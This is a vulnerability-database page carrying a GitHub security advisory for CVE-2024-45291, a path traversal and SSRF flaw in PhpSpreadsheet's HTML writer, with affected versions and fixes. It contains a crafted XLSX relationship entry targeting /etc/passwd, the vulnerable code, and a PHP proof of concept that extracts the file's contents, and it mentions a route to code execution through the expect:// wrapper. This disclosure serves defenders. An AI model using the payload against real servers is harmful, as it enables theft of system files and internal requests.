CVE-2024-45291: PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled
Summary It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer-setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.
Published Oct 7, 2024 · Updated Mar 6, 2025
Affected packages
phpoffice/phpspreadsheet
- Ecosystem
- Composer (PHP)
- Affected
- >= 2.2.0, < 2.3.0
- Fixed in
- 2.3.0
- Check
composer show phpoffice/phpspreadsheet
phpoffice/phpspreadsheet
- Ecosystem
- Composer (PHP)
- Affected
- < 1.29.2
- Fixed in
- 1.29.2
- Check
composer show phpoffice/phpspreadsheet
phpoffice/phpspreadsheet
- Ecosystem
- Composer (PHP)
- Affected
- >= 2.0.0, < 2.1.1
- Fixed in
- 2.1.1
- Check
composer show phpoffice/phpspreadsheet
phpoffice/phpexcel
- Ecosystem
- Composer (PHP)
- Affected
- <= 1.8.2
- Fixed in
- No patched version yet
- Check
composer show phpoffice/phpexcel
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.
Details
XLSX files allow embedding or linking media. When
In xl/drawings/drawing1.xml an attacker can do e.g.:
And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="/etc/passwd" />or
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://example.org" />When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.
if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
$picture = @file_get_contents($filename);
if ($picture !== false) {
$imageDetails = getimagesize($filename) ?: ['mime' => ''];
// base64 encode the binary data
$base64 = base64_encode($picture);
$imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
}
}
$html .= 'getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
. $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
. $imageData . '" alt="' . $filedesc . '" />';PoC
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();
// The below is just for demo purposes
$pattern = '/data:;base64,(?<data>[^"]+)/i';
preg_match_all($pattern, $output, $matches);
print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));
print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));Add this file in the same directory: book.xlsx
Run with: php index.php
Impact
When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.
Credited to emilvirkki.
References
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4
- https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a
- https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec
- https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465
- https://nvd.nist.gov/vuln/detail/CVE-2024-45291
- https://github.com/advisories/GHSA-w9xv-qf98-ccq4
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-108357
PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
high8.8Oct 27, 2026CVE-2026-108358
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
high8.8Oct 27, 2026CVE-2026-108359
PhpSpreadsheet ODS Reader: Unbounded number-rows-repeated → CPU & Memory Exhaustion (DoS)
high8.7Oct 27, 2026CVE-2026-108360
PhpSpreadsheet: SSRF whitelist bypass via unre-validated HTTP redirect in Drawing::setPath external image loading
medium6.4Oct 27, 2026CVE-2026-59931
PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
high7.7Jul 23, 2026CVE-2026-59932
PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
high7.5Jul 23, 2026
